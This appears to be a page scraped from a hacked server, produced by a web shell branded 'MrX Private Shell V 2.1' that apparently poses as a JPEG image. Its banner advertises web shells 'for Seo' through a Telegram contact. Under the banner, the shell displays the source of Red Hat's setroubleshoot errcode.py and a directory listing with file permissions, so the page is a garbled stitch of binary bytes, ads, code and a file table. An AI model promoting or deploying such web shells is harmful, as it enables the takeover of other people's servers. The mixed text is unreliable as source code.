����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# Authors: John Dennis <jdennis@redhat.com>
#
# Copyright (C) 2006,2007,2008 Red Hat, Inc.
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
#
import gettext
from setroubleshoot.config import parse_config_setting, get_config
translation = gettext.translation(domain=get_config('general', 'i18n_text_domain'),
localedir=get_config('general', 'i18n_locale_dir'),
fallback=True)
try:
_ = translation.ugettext # Unicode version of gettext for Py2
except AttributeError:
_ = translation.gettext # Python3 (uses unicode by default)
__all__ = [
'ProgramError',
'get_strerror'
]
#-----------------------------------------------------------------------------
errcode = {}
strerror = {}
ERROR_BASE = 1000
#-----------------------------------------------------------------------------
def get_strerror(errno):
str = strerror.get(errno, None)
if str is None:
import os
str = os.strerror(errno)
return str
def err(num, name, str):
global errcode, strerror
errno = ERROR_BASE + num
globals()[name] = errno
errcode[name] = errno
__all__.append(name)
strerror[errno] = str
#-----------------------------------------------------------------------------
class ProgramError(Exception):
def __init__(self, errno, strerror=None, detail=None):
self.errno = errno
if strerror is None:
self.strerror = get_strerror(errno)
else:
self.strerror = strerror
if detail is not None:
self.strerror += ' ' + detail
def __str__(self):
return "[Errno %d] %s" % (self.errno, self.strerror)
#-----------------------------------------------------------------------------
err(1, 'ERR_NO_SIGNATURE_MATCH', _('signature not found'))
err(2, 'ERR_MULTIPLE_SIGNATURE_MATCH', _('multiple signatures matched'))
err(3, 'ERR_SIGNATURE_ID_NOT_FOUND', _('id not found'))
err(4, 'ERR_DATABASE_NOT_FOUND', _('database not found'))
err(5, 'ERR_NOT_MEMBER', _('item is not a member'))
err(6, 'ERR_ILLEGAL_USER_CHANGE', _('illegal to change user'))
err(7, 'ERR_METHOD_NOT_FOUND', _('method not found'))
err(8, 'ERR_CANNOT_CREATE_GUI', _('cannot create GUI'))
err(9, 'ERR_UNKNOWN_VALUE', _('value unknown'))
err(10, 'ERR_FILE_OPEN', _('cannot open file'))
err(11, 'ERR_INVALID_EMAIL_ADDR', _('invalid email address'))
# gobject IO Errors
err(12, 'ERR_SOCKET_ERROR', _('socket error'))
err(13, 'ERR_SOCKET_HUP', _('connection has been broken'))
err(14, 'ERR_IO_INVALID', _('Invalid request. The file descriptor is not open'))
err(15, 'ERR_USER_PERMISSION', _('insufficient permission to modify user'))
err(16, 'ERR_AUTHENTICATION_FAILED', _('authentication failed'))
err(17, 'ERR_USER_PROHIBITED', _('user prohibited'))
err(18, 'ERR_NOT_AUTHENTICATED', _('not authenticated'))
err(19, 'ERR_USER_LOOKUP', _('user lookup failed'))
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| Plugin.py | File | 5.18 KB | 0644 |
|
| __init__.py | File | 741 B | 0644 |
|
| access_control.py | File | 5.86 KB | 0644 |
|
| analyze.py | File | 25.87 KB | 0644 |
|
| audit_data.py | File | 40.52 KB | 0644 |
|
| avc_audit.py | File | 14.94 KB | 0644 |
|
| config.py | File | 20.7 KB | 0644 |
|
| email_alert.py | File | 5.81 KB | 0644 |
|
| errcode.py | File | 3.47 KB | 0644 |
|
| html_util.py | File | 2.03 KB | 0644 |
|
| rpc.py | File | 37.01 KB | 0644 |
|
| rpc_interfaces.py | File | 4.68 KB | 0644 |
|
| server.py | File | 33.67 KB | 0644 |
|
| serverconnection.py | File | 6.14 KB | 0644 |
|
| signature.py | File | 33.26 KB | 0644 |
|
| util.py | File | 34.57 KB | 0644 |
|
| uuid.py | File | 16.52 KB | 0644 |
|
| xml_serialize.py | File | 15.83 KB | 0644 |
|